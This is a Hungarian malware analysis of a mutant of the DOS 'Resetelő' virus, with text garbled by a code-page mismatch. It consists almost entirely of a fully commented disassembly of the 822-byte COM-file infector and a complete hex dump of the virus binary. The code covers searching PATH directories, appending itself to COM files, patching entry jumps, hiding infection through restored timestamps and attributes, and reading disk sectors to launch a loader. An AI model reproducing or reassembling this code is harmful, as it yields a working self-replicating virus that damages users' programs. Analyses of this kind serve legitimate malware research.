A Resetel” vˇrus T”lt”get” f‚le mut nsa
                    ***************************************


A Resetel” vˇrussal teljes eg‚sz‚ben megegyezik a fert”z” mechanizmus.
Eltekintve att˘l, hogy ez a mut ns nem tesz t”nkre f jlokat. Az adatterlet is
ugyanazon a cˇmen van, ˇgy ugyanŁgy lehet ˇrtani, mint a Resetel”t. A v ltoz s:
a vˇrus hossza 822 byte, minden indˇt s ut n az A:-r˘l megpr˘b lja beolvasni a
BOOT-ot, majd a 40/80-dik s vot. Ha valamelyik T”lt”get”vel fert”z”tt, akkor
elindˇtja a T”lt”get”t !


       ;Ide (0100-ra) mutat a file elej‚r”l az ugr˘ utasˇt s.

       ;Els” feladat: az els” 3 byte visszaˇr sa az eredetire.

0100 51            PUSH   CX      ;CX a stacken marad mindv‚gig.
       ;A k”vetkez”  utasˇt s  operandus t ( jelen esetben 02F9-et )
       ;fert”z‚skor   llˇtja be , ˇgy  mindig  a helyes cˇmre mutat.
0101 BAF902        MOV    DX,02F9 ;Eredeti els” 3 byte cˇme-10h
0104 FC            CLD            ;( ERE_DTA_OFS)
0105 8BF2          MOV    SI,DX
0107 81C60A00      ADD    SI,000A ;SI=offset ERE_KEZD
010B BF0001        MOV    DI,0100 ;Program eleje
010E B90300        MOV    CX,0003 ;3 byte
0111 F3            REPZ
0112 A4            MOVSB          ;Az eredeti byteok vissza llˇt sa


       ;-----------------------------------------
       ;            Install ci˘s r‚sz:
       ;-----------------------------------------

       ;DOS verzi˘ lek‚rdez‚se. 1.00-n l kisebb verzi˘n l az eredeti
       ;program futtat sa: ekkor a vˇrus nem mk”dik.

0113 8BF2          MOV    SI,DX   ;Ezut n SI-ben az adatterlet cˇme
0115 B430          MOV    AH,30
0117 CD21          INT    21      ;DOS verzi˘ lek‚rdez‚se
0119 3C00          CMP    AL,00   ;Csak 1.00-n l kisebbn‚l l‚p ki
011B 7503          JNZ    0120
011D E9C701        JMP    02E7    ;Eredeti program futtat sa


       ;Disk Transzfer Address lek‚rdez‚se, elment‚se

0120 06            PUSH   ES
0121 B42F          MOV    AH,2F
0123 CD21          INT    21      ;DTA leolvas sa (ES:BX), meg”rz‚se
0125 899C0000      MOV    [SI+0000],BX ;ERE_DTA_OFS (02F9)
0129 8C840200      MOV    [SI+0002],ES ;ERE_DTA_SEG (02FB)

       ;-------------------------------------------------------
       ;             A beiktatott behŁz˘ r‚sz
       ;-------------------------------------------------------

012D E85802        CALL    0388
0130 07            POP     ES

       ;DTA be llˇt sa ENTRY cˇm‚re (0358). Igy a FindFirst, FindNext
       ;DOS funkci˘k ide fogj k m solni a file adatait (nev‚t,idej‚t,
       ;hossz t,stb).

0131 BA5F00        MOV    DX,005F
       ;{Val˘szˇnleg r‚gi assemblerrel ˇrt k a vˇrust, ez‚rt van itt
       ;egy NOP utasˇt s.}
0134 90            NOP
0135 03D6          ADD    DX,SI
0137 B41A          MOV    AH,1A
0139 CD21          INT    21      ;DTA  llˇt sa DS:DX-re: ENTRY(0358)


       ;A PATH-ok cˇm‚nek megkeres‚se. Ha az aktu lis k”nyvt rban m r
       ;mindegyik  filet megfert”zte , itt taj lja meg azoknak az al-
       ;k”nyvt raknak a nev‚t , amelyekben m‚g megfert”zend” fileokat
       ;tal lhat.

013B 06            PUSH   ES
013C 56            PUSH   SI
013D 8E062C00      MOV    ES,[002C];Environment (k”rnyezet)  segmense
0141 BF0000        MOV    DI,0000  ;ES:DI  fog   a  megfelel”  helyre
                                   ;(a k”vetkez” directoryra) mutatni


       ;A k”vetkez” r‚sz a  PATH= sz”veget  keresi meg az environment
       ;terleten:

0144 5E            POP    SI
0145 56            PUSH   SI
0146 81C61A00      ADD    SI,001A ;STR_PATH (0313)
014A AC            LODSB          ;AL=DS:[SI],SI++
014B B90080        MOV    CX,8000 ;max 32k az environment
014E F2            REPNZ
014F AE            SCASB          ;AL-ES:[DI] Megkeresi a k”vetkez”
                                  ;'P' bett
0150 B90400        MOV    CX,0004 ;M‚g 4 bet azonosˇt sa
0153 AC            LODSB          ;AL=DS:[SI],SI++
0154 AE            SCASB          ;AL-ES:[DI],DI++
0155 75ED          JNZ    0144    ;Ugr s, ha a k”vetkez” 4 bet nem
                                  ;egyezik (nem 'ATH=')
0157 E2FA          LOOP   0153
0159 5E            POP    SI      ;ES:DI mutat az els” PATH-ra
015A 07            POP    ES
015B 89BC1600      MOV    [SI+0016],DI ;PATH_MUT (030F)


015F 8BFE          MOV    DI,SI   ;{Hogy  ez  minek ?  K‚s”bb  Łgyis
0161 81C71F00      ADD    DI,001F ;fellˇrja}  FILE_PATH (0318)
0165 8BDE          MOV    BX,SI   ;Ezut n BX mutat az adatokra
0167 81C61F00      ADD    SI,001F ;SI is a FILE_PATH-ra(0318) mutat
016B 8BFE          MOV    DI,SI   ;{Az el”bb m r be llitotta (?)}
016D EB3A          JMP    01A9


       ;A k”vetkez” PATH-ban  megadott aldirectoryt  FILE_PATH-ra m -
       ;solja. Igy a  k”vetkez” fileokat  m r ebben az aldirectoryban
       ;fogja keresni.

016F 83BC160000    CMP    WORD PTR [SI+0016],+00 ;PATH_MUT (030F)
0174 7503          JNZ    0179
0176 E96001        JMP    02D9    ;Ugr s, ha nincs t”bb PATH aldir.
                                  ;(mindet megfert”te m r)
0179 1E            PUSH   DS
017A 56            PUSH   SI
017B 26            ES:
017C 8E1E2C00      MOV    DS,[002C] ;Environment segmense
0180 8BFE          MOV    DI,SI   ;(02F9)
0182 26            ES:
0183 8BB51600      MOV    SI,[DI+0016] ;PATH_MUT (030F)
0187 81C71F00      ADD    DI,001F ;FILE_PATH cˇme (0318)
018B AC            LODSB          ;AL=DS:[SI]  SI++
018C 3C3B          CMP    AL,3B   ;';'
018E 740A          JZ     019A
0190 3C00          CMP    AL,00
0192 7403          JZ     0197
0194 AA            STOSB          ;ES:[DI]:=AL  DI++
0195 EBF4          JMP    018B    ;Źtm sol s ';' vagy #0-ig

       ;#0-val z rult a PATH bejegyz‚s => nem lesz t”bb
0197 BE0000        MOV    SI,0000
019A 5B            POP    BX      ;Ezut n BX mutat az adatokra
019B 1F            POP    DS
019C 89B71600      MOV    [BX+0016],SI ;PATH_MUT (030F) = 0
                                       ;( Nincs t”bb PATH jelz‚s )

       ;A k”vetkez” PATH-ban adott aldir. m r  tm solva.
01A0 807DFF5C      CMP    BYTE PTR [DI-01],5C
01A4 7403          JZ     01A6    ;Ugr s, ha az ut˘ls˘ bet a '\'
01A6 B05C          MOV    AL,5C   ;Egy‚bk‚nt '\' ˇr s
01A8 AA            STOSB          ;ES:[DI]:=AL  DI++




       ;Egy  aldirectory ki‚rt‚kel‚se . El”sz”r  az aktu lis , majd a
       ;FILE_PATH -ra m solt aldirectory v‚gign‚z‚se, fert”z‚s.
       ;DI a FILE_PATH-ba ˇrt aldirectory neve ut ni pozici˘ra mutat.


       ;A COM kiterjeszt‚s fileok megkeres‚se:

01A9 89BF1800      MOV    [BX+0018],DI ;FILE_NEV_MUT (0311)
                                       ;Ide  kell majd  a file  nev‚t
                                       ;m solni (az aldir. neve ut n)
01AD 8BF3          MOV    SI,BX   ;(02F9)
01AF 81C61000      ADD    SI,0010 ;KERES_STR (0309)
01B3 B90600        MOV    CX,0006 ;6 bet  tm sol sa ('*.COM',0)
01B6 F3            REPZ           ;A  PATH-ban  megadott  aldirectory
01B7 A4            MOVSB          ;m”g‚ , ˇgy  teljes keres‚si  utunk
                                  ;lesz
01B8 8BF3          MOV    SI,BX   ;(02F9)
01BA B44E          MOV    AH,4E   ;FIND FIRST ENTRY
01BC BA1F00        MOV    DX,001F
01BF 90            NOP
01C0 03D6          ADD    DX,SI   ;FILE_PATH (0318)
01C2 B90300        MOV    CX,0003 ;HIDDEN, READ ONLY
01C5 CD21          INT    21      ;Az  els”   COM  kiterjeszt‚s file
                                  ;megkeres‚se . A file adatait a DTA
                                  ; ltal  mutatott cˇmre (ENTRY 0358)
                                  ;m solja.
01C7 EB04          JMP    01CD


       ;K”vetkez” COM file keres‚se (adatai ENTRY-re kerlnek).

01C9 B44F          MOV    AH,4F   ;FIND NEXT
01CB CD21          INT    21
01CD 7302          JNB    01D1
01CF EB9E          JMP    016F    ;Ha  nem tal l  t”bb COM filet : —j
                                  ;aldirt keres a PATH-ban


       ;M r tal lt COM filet. Adataival az ENTRY fel van t”ltve.Ennek
       ;a filenak az ellen”rz‚se, fert”z‚se k”vetkezik.

       ;Annak ellen”rz‚se , hogy a file megfert”zhet”-e (fert”z”tt-e,
       ;tŁl hosszŁ-e, tŁl r”vid-e) . Ha nem fert”zhet” visszaugrik Łj
       ;fileokat keresni.

01D1 8B847500      MOV    AX,[SI+0075] ;ENT_IDO (036E) A file ideje
01D5 241F          AND    AL,1F
01D7 3C1F          CMP    AL,1F   ;Ugr s, ha az als˘ 5 bit 1-es:
01D9 74EE          JZ     01C9    ;a file m r fert”z”tt.
01DB 81BC790000FA  CMP    WORD PTR [SI+0079],FA00   ;ENT_HOSSZ (0372)
01E1 77E6          JA     01C9    ;Ugr s, ha file hossza nagyobb,mint
                                  ;64000h (m r nem f‚r bele a vˇrus)
01E3 83BC79000A    CMP    WORD PTR [SI+0079],+0A    ;ENT_HOSSZ (0372)
01E8 72DF          JB     01C9    ;Ugr s, ha r”videbb 10h byten l


       ;-----------------------------------------
       ;       Megvan a kiv laszott file.
       ;-----------------------------------------

       ;A file nev‚t  az aldirectory neve  ut n kell m solni , hogy a
       ;teljes Łt rendelkez‚snkre  lljon , ˇgy majd meg tudja nyitni
       ;a filet.
01EA 8BBC1800      MOV    DI,[SI+0018] ;FILE_NEV_MUT (0311) Ide fogja
01EE 56            PUSH   SI      ;a file nev‚t m solni
01EF 81C67D00      ADD    SI,007D ;ENT_NEV (0376)

01F3 AC            LODSB          ;AL:=DS:[SI] SI++
01F4 AA            STOSB          ;ES:[DI]:=AL DI++   (M sol s)
01F5 3C00          CMP    AL,00   ;N‚vlez r˘ 0-ig m sol
01F7 75FA          JNZ    01F3
01F9 5E            POP    SI      ;SI Łjra az adatokra mutat


       ;A file egyes eredeti inform ci˘inak meg”rz‚se , hogy a fert”-
       ;z‚s ne tnj”n fel.

       ;Az eredeti attributtum meg”rz‚se:

       ;{Fogalmam sincs mi‚rt  kell  a file attributtum t m‚g egyszer
       ;lek‚rdezni , amikor az ENTRY terleten megtal lhat˘ . Tal n a
       ;vˇrus ˇr˘ja nem tudta?}
01FA B80043        MOV    AX,4300 ;File attributtum nak lek‚rdez‚se
01FD BA1F00        MOV    DX,001F ;FILE_PATH ([SI+1F] 0318)
0200 90            NOP            ;{piszok}
0201 03D6          ADD    DX,SI   ;DS:DX mutat a file Łtj ra
0203 CD21          INT    21      ;CX-ben az attributtum
0205 898C0800      MOV    [SI+0008],CX ;ERE_ATTR (0301)


       ;A file ˇr sv‚delm‚nek t”rl‚se:

0209 B80143        MOV    AX,4301 ;File attributtum nak  llit sa
020C 81E1FEFF      AND    CX,FFFE ;Read Only jelz‚s t”rl‚se
0210 BA1F00        MOV    DX,001F ;{ Az el”bb m r  be llˇtotta, minek
0213 90            NOP            ;Łjra? }
0214 03D6          ADD    DX,SI   ;FILE_PATH (0318)
0216 CD21          INT    21


       ;File megnyit sa:

0218 B8023D        MOV    AX,3D02 ;File megnyit sa ˇr sra, olvas sra
021B BA1F00        MOV    DX,001F ;{M‚g egyszer be llˇtja!}
021E 90            NOP            ;{piszok}
021F 03D6          ADD    DX,SI   ;FILE_PATH (0318)
0221 CD21          INT    21
0223 7303          JNB    0228
0225 E9A200        JMP    02CA    ;Hib n l: nincs fert”z‚s
0228 8BD8          MOV    BX,AX   ;Handle


       ;A file eredeti (mostani) idej‚nek lek‚rdez‚se:

       ;{Ez is megtal lhat˘ lenne az ENTRY terleten!}
022A B80057        MOV    AX,5700 ;Get Date & Time
022D CD21          INT    21
022F 898C0400      MOV    [SI+0004],CX ;ERE_TIME (02FD)
0233 89940600      MOV    [SI+0006],DX ;ERE_DATE (02FF)


       ;Annak eld”nt‚se , hogy  a kiv lasztott  filet t”nkretegye-e ,
       ;vagy megfert”zze . Lek‚rdezi  a jelenlegi id”t , ‚s ha m sod-
       ;perceinek sz ma 8-cal oszthat˘ , akkor a filet resetel”v‚ te-
       ;szi, egy‚bk‚nt pedig megfert”zi. Igy az esetek 2/15-”d r‚sz‚-
       ;ben teszi csak t”nkre a filet.

0237 B42C          MOV    AH,2C   ;A mostani id” lek‚rdez‚se
0239 CD21          INT    21
023B 80E607        AND    DH,07   ;A m sodpercek als˘ 3 bitje
023E EB0D          JMP    024D    ;Fert”z‚s
0240 90            NOP


       ;      Szem‚t a Reselet”lb”l

0241 B440          MOV     AH,40
0243 B90500        MOV     CX,0005
0246 8BD6          MOV     DX,SI
0248 81C28A00      ADD     DX,008A
024C 90            NOP

       ;-----------------------------------------
       ;                Fert”z‚s:
       ;-----------------------------------------


       ;Az eredeti file  els” 3 bytej nak meg”rz‚se , hogy k‚s”bb m‚g
       ;futtatni lehessen.
024D B43F          MOV    AH,3F   ;Olvas s fileb˘l
024F B90300        MOV    CX,0003 ;Az els” 3 byte beolvas sa
0252 BA0A00        MOV    DX,000A
0255 90            NOP            ;{piszok}
0256 03D6          ADD    DX,SI   ;ERE_KEZD (0303)
0258 CD21          INT    21
025A 7255          JB     02B1    ;Hib n l v‚ge
025C 3D0300        CMP    AX,0003
025F 7550          JNZ    02B1    ;Hib n l v‚ge


       ;File v‚g‚re  ll s, az Łj cˇmek kisz mˇt sa:

0261 B80242        MOV    AX,4202 ;File Pointer file v‚g‚re  llˇt sa
0264 B90000        MOV    CX,0000
0267 BA0000        MOV    DX,0000
026A CD21          INT    21
026C 7243          JB     02B1    ;{Itt nem nagyon lehet hiba!}


       ;A file elej‚re irand˘ JMP operandus nak kisz mˇt sa:

026E 8BC8          MOV    CX,AX   ;AX-ben a file hossza
0270 2D0300        SUB    AX,0003 ;AX-ben az eltol s  a JMP utasˇt s-
                                  ;hoz, ahhoz amit a file elej‚re fog
                                  ;majd ˇrni . Igy  ez a  JMP a  file
                                  ;mostani v‚ge ut ni  bytera fog mu-
                                  ;tatni.
0273 89840E00      MOV    [SI+000E],AX ;CIM_JMP (0307)


       ;Az Łj fileon belli adatterlet  cˇm‚nek kisz mˇt sa ‚s be l-
       ;lˇt sa:

0277 81C1F902      ADD    CX,02F9 ;CX az Łj fileon belli adatter-
027B 8BFE          MOV    DI,SI   ;letre mutat.
027D 81EFF701      SUB    DI,01F7 ;A vˇrus els” utasˇt s nak (MOV DX,
                                  ;02F9) operandus nak cˇme.
0281 890D          MOV    [DI],CX ;Ide ˇrja az adatterlet cˇm‚t


       ;-----------------------------------------
       ;  A vˇrus hozz m solja mag t a filehoz:
       ;-----------------------------------------

       ;(A filemutat˘ a file v‚g‚re mutat.)
0283 B440          MOV    AH,40   ;Ir s fileba.
0285 B93603        MOV    CX,0336 ;822 byte (a vˇrus hossza)
0288 8BD6          MOV    DX,SI
028A 81EAF901      SUB    DX,01F9 ;DX a vˇrus els” bytej ra mutat
028E CD21          INT    21
0290 721F          JB     02B1    ;Hib n l v‚ge
0292 3D3603        CMP    AX,0336
0295 751A          JNZ    02B1    ;Ha nem ˇrta ki mind a 648 byteot


       ;Az els” 3 byte  t llˇt sa, egy a file v‚g‚re mutat˘ ugr˘ uta-
       ;sˇt sra:

0297 B80042        MOV    AX,4200 ;A file pointer a file elej‚re!
029A B90000        MOV    CX,0000
029D BA0000        MOV    DX,0000
02A0 CD21          INT    21
02A2 720D          JB     02B1    ;{Itt sem lehet hiba!}

02A4 B440          MOV    AH,40   ;Ir s fileba
02A6 B90300        MOV    CX,0003 ;3 byte
02A9 8BD6          MOV    DX,SI
02AB 81C20D00      ADD    DX,000D ;B_JMP (0306) DX az ugr˘ utasˇt sra
02AF CD21          INT    21      ;mutat


       ;Az eredeti id” ( m r a fert”z‚sjelz‚ssel egytt ) vissza llˇ-
       ;t sa:

02B1 8B940600      MOV    DX,[SI+0006] ;ERE_DATE (02FF)
02B5 8B8C0400      MOV    CX,[SI+0004] ;ERE_TIME (027D)
02B9 81E1E0FF      AND    CX,FFE0      ;{Teljesen felesleges!}
02BD 81C91F00      OR     CX,001F      ;M r volt fert”zve jelz‚s
02C1 B80157        MOV    AX,5701      ;Set Date & Time
02C4 CD21          INT    21


       ;A file lez r sa:

02C6 B43E          MOV    AH,3E   ;Close Handle
02C8 CD21          INT    21


       ;Az eredeti attributtum vissza llˇt sa:

02CA B80143        MOV    AX,4301 ;Set File Attributtum
02CD 8B8C0800      MOV    CX,[SI+0008] ;ERE_ATTR (0301)
02D1 BA1F00        MOV    DX,001F
02D4 90            NOP
02D5 03D6          ADD    DX,SI   ;FILE_PATH (0318)
02D7 CD21          INT    21


       ;DTA vissza llˇt sa az eredeti cˇmre:

02D9 1E            PUSH   DS
02DA B41A          MOV    AH,1A   ;Set DTA
02DC 8B940000      MOV    DX,[SI+0000] ;ERE_DTA_OFS (02F9)
02E0 8E9C0200      MOV    DS,[SI+0002] ;ERE_DTA_SEG (02FB)
02E4 CD21          INT    21
02E6 1F            POP    DS


       ;-----------------------------------------
       ;      Az eredeti program futtat sa:
       ;-----------------------------------------

02E7 59            POP    CX      ;CX vissza llˇt sa
02E8 33C0          XOR    AX,AX   ;Regiszterek null z sa
02EA 33DB          XOR    BX,BX
02EC 33D2          XOR    DX,DX
02EE 33F6          XOR    SI,SI
02F0 BF0001        MOV    DI,0100
02F3 57            PUSH   DI      ;0100 a stackre
02F4 33FF          XOR    DI,DI
02F6 C2FFFF        RET    FFFF    ;100-on folytat˘dik a vez‚rl‚s
                                  ;SP-- {Hogy minek?}



       ;-----------------------------------------
       ;               ADAT TERšLET
       ;-----------------------------------------


       ;Ide mutat (02F9-re) a vˇrus elej‚n DX, k‚s”bb SI,BX.

02F9 ERE_DTA_OFS   DW     (?)       ;[SI+00] Eredeti DTA cˇme
02FB ERE_DTA_SEG   DW     (?)       ;[SI+02]

02FD ERE_TIME      DW     (?)       ;[SI+04] A file eredeti ideje,
02FF ERE_DATE      DW     (?)       ;[SI+06] d tuma,
0301 ERE_ATTR      DW     (?)       ;[SI+08] attributtuma

0303 ERE_KEZD      DB     3 DUP (?) ;[SI+0A]
                                    ;A file eredeti els” 3 byteja.

       ;A k”vetkez” 3 byteon lesz az a 3 byte , amit a vˇrus egy meg-
       ;fert”zend” file elej‚re fog ˇrni.

0306 B_JMP         DB     E9        ;[SI+0D]
                                    ;JMP g‚pik˘dja
0307 CIM_JMP       DW     (?)       ;Eltol s (JMP operandusa)

0309 KERES_STR     DB     '*.COM',0 ;[SI+10]
                                    ;Ezt a stringet m solja a
                                    ;FILE_NEV_MUT cˇmre

030F PATH_MUT      DW     (?)       ;[SI+16]
                                    ;Hol a k”vetkez” aldirectory neve
                                    ;az environmenten.

0311 FILE_NEV_MUT  DW     (?)       ;[SI+18]
                                    ;Az  tm solt aldirectory m”g‚ mu-
                                    ;tat.
                                    ;Azt  mutatja , hogy hova  kell a
                                    ;keres‚si stringet(*.COM), majd a
                                    ;file nev‚t  m solni a FILE_PATH-
                                    ;on bell ahhoz, hogy teljes utat
                                    ;kapjunk.

0313 STR_PATH      DB     'PATH='   ;[SI+1A] Ezt a stringet keresi az
                                    ;environment terleten.

0318 FILE_PATH     DB     40 DUP (?);[SI+1F]
                                    ;Itt lesz  majd a keres‚si string
                                    ;‚s a fert”zend”  file neve Łttal
                                    ;egytt.


       ;Ide mutat a DTA. Ezt a terletet fogja a DOS a file adataival
       ;felt”lteni.

0358 ENTRY         DB     15 DUP (?);Fenntartott         [SI+5F]
036D ENT_ATTR      DB     (?)       ;Attributtum         [SI+74]
036E ENT_IDO       DW     (?)       ;Keletkez‚s ideje    [SI+75]
0370 ENT_DATUM     DW     (?)       ;Keletkez‚s d tuma   [SI+77]
0372 ENT_HOSSZ     DW     (?)       ;Als˘ sz˘            [SI+79]
0374               DW     (?)       ;Fels” sz˘           [SI+7B]
0376 ENT_NEV       DB     0D DUP (?);Megtal lt file neve [SI+7D]

0383 RESET         DB     EA,F0,FF,00,F0 ;JMP  F000:FFF0 [SI+8A]
                                    ;Nem haszn lja

       ;----------------------------------------------------
       ;              A T”lt”get”t behŁz˘ r‚sz
       ;----------------------------------------------------


0388 50            PUSH   AX      ;Regiszterek elment‚se
0389 53            PUSH   BX
038A 51            PUSH   CX
038B 52            PUSH   DX
038C 06            PUSH   ES
038D 1E            PUSH   DS
038E 57            PUSH   DI
038F 56            PUSH   SI
0390 E80000        CALL   0393    ;Lebuk s !! (/g)
0393 5B            POP    BX      ;BX=0393

       ;A: BOOT beolvas sa/T”lt”get” lek‚rdez‚se

0394 BEA55A        MOV    SI,5AA5 ;T”lt”get” lek‚rdez‚se
0397 BFAA55        MOV    DI,55AA
039A 0E            PUSH   CS
039B 07            POP    ES
039C 81C3E803      ADD    BX,03E8 ;BX=077B
03A0 81FBE803      CMP    BX,03E8
03A4 7303          JNB    03A9
03A6 E98200        JMP    042B    ;Ha nincs el‚g szabad mem˘ria a szegmensen
03A9 53            PUSH   BX
03AA B80102        MOV    AX,0201 ;A:BOOT beolvas sa
03AD BA0000        MOV    DX,0000
03B0 B90100        MOV    CX,0001
03B3 CD13          INT    13
03B5 5B            POP    BX
03B6 7308          JNB    03C0
03B8 80FC06        CMP    AH,06   ;Ha lemezcsere volt, az nem hiba
03BB 74EC          JZ     03A9
03BD EB6C          JMP    042B    ;Val˘di hiba->v‚ge
03BF 90            NOP
03C0 81FE5AA5      CMP    SI,A55A
03C4 7465          JZ     042B    ;V‚ge, ha a T”lt”get” m r a mem˘ri ban van

       ;Van-e el‚g szabad mem˘ria a T”lt”get” beolvas s hoz

03C6 8CC8          MOV    AX,CS
03C8 050010        ADD    AX,1000
03CB 53            PUSH   BX
03CC 50            PUSH   AX
03CD CD12          INT    12      ;Max mem.
03CF BB4000        MOV    BX,0040
03D2 F7E3          MUL    BX      ;AX-ben a mem˘ria tetej‚nek szegmense
03D4 2D0010        SUB    AX,1000 ;legal bb 4Kb kell a T”lt”get”nek
03D7 8BD8          MOV    BX,AX
03D9 58            POP    AX      ;CS+1000
03DA 3BD8          CMP    BX,AX
03DC 7304          JNB    03E2
03DE 5B            POP    BX
03DF EB4A          JMP    042B    ;V‚ge, ha nincs el‚g szabad mem˘ria
03E1 90            NOP

       ;       A lemez ut˘ls˘ s vj nak megkeres‚se

03E2 5B            POP    BX      ;BX=077B
03E3 8EC0          MOV    ES,AX   ;Max mem-1000
03E5 2E            CS:
03E6 8B4718        MOV    AX,[BX+18]  ;S v hossza
03E9 2E            CS:
03EA 8B4F1A        MOV    CX,[BX+1A]  ;Oldalak sz ma
03ED F7E1          MUL    CX
03EF 8BC8          MOV    CX,AX   ;Egy cilinder nagys ga
03F1 2E            CS:
03F2 8B4713        MOV    AX,[BX+13]  ;Szektorok sz ma
03F5 BA0000        MOV    DX,0000
03F8 F7F1          DIV    CX      ;Osztva a cilinder nagys g val AL-ben a s v

       ;              Az ut˘ls˘ s v beolvas sa

03FA 81EBE803      SUB    BX,03E8 ;BX=0393
03FE 53            PUSH   BX
03FF 8AE8          MOV    CH,AL   ;40/80-dik s v
0401 B101          MOV    CL,01
0403 BB0001        MOV    BX,0100 ;ES:BX-re olvas !
0406 BA0000        MOV    DX,0000
0409 B80802        MOV    AX,0208 ;8 szektor beolvas sa
040C CD13          INT    13
040E 5B            POP    BX
040F 721A          JB     042B    ;Hib n l v‚ge

       ;             Ha a T”lt”get”t tal l, elindˇtja

0411 53            PUSH   BX
0412 BB0001        MOV    BX,0100
0415 26            ES:
0416 8B07          MOV    AX,[BX]
0418 3D5224        CMP    AX,2452 ;Azonosˇt˘
041B 5B            POP    BX
041C 750D          JNZ    042B    ;Ha nem T”lt”get”
041E 8BC3          MOV    AX,BX
0420 059800        ADD    AX,0098 ;AX=042B (A visszat‚r‚sre mutat)
0423 0E            PUSH   CS
0424 50            PUSH   AX
0425 B80A01        MOV    AX,010A ;T”lt”get” bel‚p‚si pontja
0428 06            PUSH   ES
0429 50            PUSH   AX
042A CB            RETF

       ;                    Visszat‚r‚s

042B 5E            POP    SI      ;Regiszterek vissza
042C 5F            POP    DI
042D 1F            POP    DS
042E 07            POP    ES
042F 5A            POP    DX
0430 59            POP    CX
0431 5B            POP    BX
0432 58            POP    AX
0433 C3            RET
0434 0000          DW     0000    ;???


                             A vˇrus hexa dumpja :


0100  51 BA F9 02 FC 8B F2 81-C6 0A 00 BF 00 01 B9 03   Q...............
0110  00 F3 A4 8B F2 B4 30 CD-21 3C 00 75 03 E9 C7 01   ......0.!<.u....
0120  06 B4 2F CD 21 89 9C 00-00 8C 84 02 00 E8 58 02   ../.!.........X.
0130  07 BA 5F 00 90 03 D6 B4-1A CD 21 06 56 8E 06 2C   .._.......!.V..,
0140  00 BF 00 00 5E 56 81 C6-1A 00 AC B9 00 80 F2 AE   ....^V..........
0150  B9 04 00 AC AE 75 ED E2-FA 5E 07 89 BC 16 00 8B   .....u...^......
0160  FE 81 C7 1F 00 8B DE 81-C6 1F 00 8B FE EB 3A 83   ..............:.
0170  BC 16 00 00 75 03 E9 60-01 1E 56 26 8E 1E 2C 00   ....u..`..V&..,.
0180  8B FE 26 8B B5 16 00 81-C7 1F 00 AC 3C 3B 74 0A   ..&.........<;t.
0190  3C 00 74 03 AA EB F4 BE-00 00 5B 1F 89 B7 16 00   <.t.......[.....
01A0  80 7D FF 5C 74 03 B0 5C-AA 89 BF 18 00 8B F3 81   .}.\t..\........
01B0  C6 10 00 B9 06 00 F3 A4-8B F3 B4 4E BA 1F 00 90   ...........N....
01C0  03 D6 B9 03 00 CD 21 EB-04 B4 4F CD 21 73 02 EB   ......!...O.!s..
01D0  9E 8B 84 75 00 24 1F 3C-1F 74 EE 81 BC 79 00 00   ...u.$.<.t...y..
01E0  FA 77 E6 83 BC 79 00 0A-72 DF 8B BC 18 00 56 81   .w...y..r.....V.
01F0  C6 7D 00 AC AA 3C 00 75-FA 5E B8 00 43 BA 1F 00   .}...<.u.^..C...
0200  90 03 D6 CD 21 89 8C 08-00 B8 01 43 81 E1 FE FF   ....!......C....
0210  BA 1F 00 90 03 D6 CD 21-B8 02 3D BA 1F 00 90 03   .......!..=.....
0220  D6 CD 21 73 03 E9 A2 00-8B D8 B8 00 57 CD 21 89   ..!s........W.!.
0230  8C 04 00 89 94 06 00 B4-2C CD 21 80 E6 07 EB 0D   ........,.!.....
0240  90 B4 40 B9 05 00 8B D6-81 C2 8A 00 90 B4 3F B9   ..@...........?.
0250  03 00 BA 0A 00 90 03 D6-CD 21 72 55 3D 03 00 75   .........!rU=..u
0260  50 B8 02 42 B9 00 00 BA-00 00 CD 21 72 43 8B C8   P..B.......!rC..
0270  2D 03 00 89 84 0E 00 81-C1 F9 02 8B FE 81 EF F7   -...............
0280  01 89 0D B4 40 B9 36 03-8B D6 81 EA F9 01 CD 21   ....@.6........!
0290  72 1F 3D 36 03 75 1A B8-00 42 B9 00 00 BA 00 00   r.=6.u...B......
02A0  CD 21 72 0D B4 40 B9 03-00 8B D6 81 C2 0D 00 CD   .!r..@..........
02B0  21 8B 94 06 00 8B 8C 04-00 81 E1 E0 FF 81 C9 1F   !...............
02C0  00 B8 01 57 CD 21 B4 3E-CD 21 B8 01 43 8B 8C 08   ...W.!.>.!..C...
02D0  00 BA 1F 00 90 03 D6 CD-21 1E B4 1A 8B 94 00 00   ........!.......
02E0  8E 9C 02 00 CD 21 1F 59-33 C0 33 DB 33 D2 33 F6   .....!.Y3.3.3.3.
02F0  BF 00 01 57 33 FF C2 FF-FF 80 00 57 0B 96 01 21   ...W3......W...!
0300  00 20 00 E9 00 00 E9 FD-0F 2A 2E 43 4F 4D 00 71   . .......*.COM.q
0310  07 21 07 50 41 54 48 3D-54 45 53 5A 54 2E 43 4F   .!.PATH=TESZT.CO
0320  4D 00 4F 4D 00 20 20 20-20 20 20 20 20 20 20 20   M.OM.
0330  20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20
0340  20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20
0350  20 20 20 20 20 20 20 20-03 3F 3F 3F 3F 3F 3F 3F           .???????
0360  3F 43 4F 4D 03 03 00 4B-09 A1 7D 73 6F 20 96 01   ?COM...K..}so ..
0370  21 00 00 10 00 00 54 45-53 5A 54 2E 43 4F 4D 00   !.....TESZT.COM.
0380  4F 4D 00 EA F0 FF 00 F0-50 53 51 52 06 1E 57 56   OM......PSQR..WV
0390  E8 00 00 5B BE A5 5A BF-AA 55 0E 07 81 C3 E8 03   ...[..Z..U......
03A0  81 FB E8 03 73 03 E9 82-00 53 B8 01 02 BA 00 00   ....s....S......
03B0  B9 01 00 CD 13 5B 73 08-80 FC 06 74 EC EB 6C 90   .....[s....t..l.
03C0  81 FE 5A A5 74 65 8C C8-05 00 10 53 50 CD 12 BB   ..Z.te.....SP...
03D0  40 00 F7 E3 2D 00 10 8B-D8 58 3B D8 73 04 5B EB   @...-....X;.s.[.
03E0  4A 90 5B 8E C0 2E 8B 47-18 2E 8B 4F 1A F7 E1 8B   J.[....G...O....
03F0  C8 2E 8B 47 13 BA 00 00-F7 F1 81 EB E8 03 53 8A   ...G..........S.
0400  E8 B1 01 BB 00 01 BA 00-00 B8 08 02 CD 13 5B 72   ..............[r
0410  1A 53 BB 00 01 26 8B 07-3D 52 24 5B 75 0D 8B C3   .S...&..=R$[u...
0420  05 98 00 0E 50 B8 0A 01-06 50 CB 5E 5F 1F 07 5A   ....P....P.^_..Z
0430  59 5B 58 C3 00 00                                 Y[X...